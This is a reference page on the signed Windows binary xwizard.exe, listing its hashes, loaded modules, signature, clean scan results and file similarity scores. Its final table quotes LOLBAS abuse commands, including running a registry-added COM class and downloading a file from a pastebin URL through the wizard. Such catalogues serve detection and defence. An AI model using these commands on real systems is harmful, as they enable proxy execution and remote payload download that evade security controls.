xwizard.exe

  • File Path: C:\Windows\system32\xwizard.exe
  • Description: Extensible Wizards Host Process

Hashes

Type Hash
MD5 10B8BDC83EF7CFBBD344F2587453AD29
SHA1 AFB419905F2CB4A48714836C5D3D5527A8FD6B80
SHA256 B0C08A32F7F9FF3696DFEB67924D873604F20D7561A0800F39148C7B82552710
SHA384 3E23BB960B5C2378CE90F9C6938ABF10F65AEBD8EEF4DE3709B0149B65D5D4D20C1BAC4BB6393566F04FF7015A44B1D8
SHA512 53CB82832ABA22AAAD8CB7CA8FECBD87A1BA0FED5FEB2C4D87FF56B1C992B1B38D83A32D570A5B06CE26014B05BAAEF44611C1E2509481106441CA4B41C239B4
SSDEEP 1536:Cpc6rrqCnPKFuT9lt53gbi1SCDURDoq4OZZZLlCIib:Ca6nhnPmuB53H1BoRD68wb
IMP 42465F712C75BD79EB46ECE0D31A4B8D
PESHA1 554EF3EA22305D641FD1F4A742E434B25419CA08
PE256 05C211837B116CC94944D8C247CDDFC366AAF0919E1D5ABA3E2A1E2F2930BC45

Runtime Data

Open Handles:

Path Type
(R-D) C:\Windows\Fonts\StaticCache.dat File
(R-D) C:\Windows\System32\en-US\imageres.dll.mui File
(R-D) C:\Windows\System32\en-US\xwizard.exe.mui File
(RW-) C:\Users\user File
(RW-) C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.17763.1518_none_de6e2bd0534e2567 File
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000004.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000004.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2.ro Section
\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section
\Sessions\2\Windows\Theme2131664586 Section
\Windows\Theme966197582 Section

Loaded Modules:

Path
C:\Windows\System32\bcryptPrimitives.dll
C:\Windows\System32\combase.dll
C:\Windows\System32\GDI32.dll
C:\Windows\System32\gdi32full.dll
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\System32\msvcp_win.dll
C:\Windows\System32\msvcrt.dll
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\OLEAUT32.dll
C:\Windows\System32\RPCRT4.dll
C:\Windows\System32\shcore.dll
C:\Windows\System32\ucrtbase.dll
C:\Windows\System32\USER32.dll
C:\Windows\System32\win32u.dll
C:\Windows\system32\xwizard.exe

Signature

  • Status: Signature verified.
  • Serial: 33000001C422B2F79B793DACB20000000001C4
  • Thumbprint: AE9C1AE54763822EEC42474983D8B635116C8452
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: xwizard.exe.mui
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.17763.1 (WinBuild.160101.0800)
  • Product Version: 10.0.17763.1
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/73
  • VirusTotal Link: https://www.virustotal.com/gui/file/b0c08a32f7f9ff3696dfeb67924d873604f20d7561a0800f39148c7b82552710/detection/

File Similarity (ssdeep match)

File Score
C:\Windows\system32\ComputerDefaults.exe 52
C:\WINDOWS\system32\ComputerDefaults.exe 46
C:\Windows\system32\ComputerDefaults.exe 47
C:\windows\system32\ComputerDefaults.exe 60
C:\Windows\system32\ComputerDefaults.exe 44
C:\windows\system32\xwizard.exe 52
C:\Windows\system32\xwizard.exe 44
C:\WINDOWS\system32\xwizard.exe 55
C:\Windows\system32\xwizard.exe 47
C:\windows\SysWOW64\ComputerDefaults.exe 57
C:\WINDOWS\SysWOW64\ComputerDefaults.exe 47
C:\Windows\SysWOW64\ComputerDefaults.exe 54
C:\Windows\SysWOW64\ComputerDefaults.exe 47
C:\Windows\SysWOW64\ComputerDefaults.exe 46
C:\Windows\SysWOW64\xwizard.exe 54
C:\Windows\SysWOW64\xwizard.exe 54
C:\windows\SysWOW64\xwizard.exe 52
C:\Windows\SysWOW64\xwizard.exe 47
C:\WINDOWS\SysWOW64\xwizard.exe 52

Possible Misuse

The following table contains possible examples of xwizard.exe being misused. While xwizard.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
LOLBAS Xwizard.yml Name: Xwizard.exe  
LOLBAS Xwizard.yml - Command: xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}  
LOLBAS Xwizard.yml Description: Xwizard.exe running a custom class that has been added to the registry.  
LOLBAS Xwizard.yml - Command: xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC}  
LOLBAS Xwizard.yml Description: Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds.  
LOLBAS Xwizard.yml - Command: xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /zhttps://pastebin.com/raw/iLxUT5gM  
LOLBAS Xwizard.yml Description: Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file.  
LOLBAS Xwizard.yml - Path: C:\Windows\System32\xwizard.exe  
LOLBAS Xwizard.yml - Path: C:\Windows\SysWOW64\xwizard.exe  

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